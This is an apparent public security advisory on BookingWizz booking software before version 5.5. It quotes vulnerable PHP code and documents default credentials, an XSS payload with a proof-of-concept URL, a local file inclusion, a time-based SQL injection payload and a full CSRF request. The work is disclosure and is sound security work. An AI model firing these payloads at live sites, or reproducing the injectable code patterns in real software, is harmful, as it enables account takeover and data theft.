1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 |
1. ADVISORY INFORMATION ======================================== Title: BookingWizz < 5.5 Multiple Vulnerability Application: BookingWizz Class: Sensitive Information disclosure Remotely Exploitable: Yes Versions Affected: < 5.5 Vendor URL: http://codecanyon.net/item/booking-system/87919 Bugs:Default credentials, CSRF, XXS, SQLi Injection, LFI Date of Public Advisory: 15 Jun 2016 Author: Mehmet Ince 2. CREDIT ======================================== Those vulnerabilities was identified during external penetration test by Mehmet INCE from PRODAFT / INVICTUS Original Advisory: https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability PR1 - Default Administrator Credentials ======================================== File: install.php People are to lazy to change default credential unless application force them to do that. Line 128: <br />Default username/password: <b>admin/pass</b></div>"; PR2 - Cross Site Scripting ======================================== File : eventList.php // Improper user input validation on Line 24: $serviceID = (!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","<code>",$_REQUEST["serviceID"])):getDefaultService(); Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a href="https://www.exploit-db.com/exploits/39955/index.php?serviceID=<?php echo $serviceID?>"><?php echo CALENDAR?></a></strong> Payload = 1337" onmouseover="alert(1) PoC = http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1) PR3 - Local File Inclusion ======================================== File:config.php Lang variable is under the user control. Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'", "</code>", $_REQUEST["lang"])) : 'english'; Storing user controlled variable within session variable. Line 36 - 38 : if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") { $_SESSION['curr_lang'] = $lang; } And using it with include function which cause straightforward file inclusion. Line 60 - 68: $languagePath = MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php"; if(is_file($languagePath)) { include MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php"; }else{ print "ERROR !!! Language file ".$_SESSION['curr_lang'].".lang.php not found"; exit(); } PR4 - SQL Injection ======================================== We've seen a lot of potentially SQL Injection vulnerability during code review. 2 example can be given for this potential points. File : ajax/checkDeletedServices.php line 19 - 20: $bsid = (!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"] : array(); $type = (!empty($_REQUEST["type"])) ? $_REQUEST["type"] : 'service'; Line 26: if($type=='service'){ $service = getService($id); $name = $service['name']; } This function executes query with $id parameter which is user input through checkDeletedServices.php file. function getService($id, $field=null) { $sql = "SELECT * FROM bs_services WHERE id='{$id}'"; $res = mysql_query($sql); if ($field == null) { return mysql_fetch_assoc($res); } else { $row = mysql_fetch_assoc($res); return $row[$field]; } } File : ajax/checkChangeAvailability.php Line 19 -21 $id = (!empty($_REQUEST["id"])) ? $_REQUEST["id"] : ''; $interval = getServiceSettings($id,'interval'); getServiceSettings function calls another function named as getService which is also vulnerable against SQL Injection. function getServiceSettings($id, $field=null) { $serviceType = getService($id,'type'); if($serviceType=='t'){ $sql = "SELECT * FROM bs_service_settings bss INNER JOIN bs_services bs ON bss.serviceId= bs.id WHERE bss.serviceID='{$id}'"; }else{ $sql = "SELECT * FROMbs_service_days_settings bsds INNER JOIN bs_services bs ON bsds.idService= bs.id WHERE bsds.idService='{$id}'"; } $res = mysql_query($sql); $row = mysql_fetch_assoc($res); $row['type'] = $serviceType; if ($field == null) { return $row; } else { return $row[$field]; } } In order to exploit this flaws, Time Based SQLi techniques was used. Payload: id=1' AND SLEEP(5) AND 'WAlE'='WAlE PR5 - CSRF ======================================== File: bs-settings.php This file is reponsible for administrator account settings.Here is the HTTP POST request. POST /booking/bs-settings.php HTTP/1.1 Host: www.test.dev User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.test.dev/scripts/booking/bs-settings.php Cookie: PHPSESSID=1511036c75229f53ae475a0615661394; __utma=256227097.1395600583.1465982938.1465982938.1465982938.1; __utmc=256227097; __utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b Connection: close Content-Type: multipart/form-data; boundary=---------------------------305761854111129072091034307 Content-Length: 2678 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass2" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="email" test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pemail" test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pcurrency" CAD -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="tax" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="time_mode" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="date_mode" Y-m-d -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="use_popup" 1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currency" $ -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currencyPos" b -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="lang" english -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="language_switch" 1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="timezone" America/Toronto -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="cron_type" cron -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="edit_settings" yes -----------------------------305761854111129072091034307-- There is NOT csrf token at all. Furthermore, application does not validated current password. -- Sr. Information Security Engineer https://www.mehmetince.net |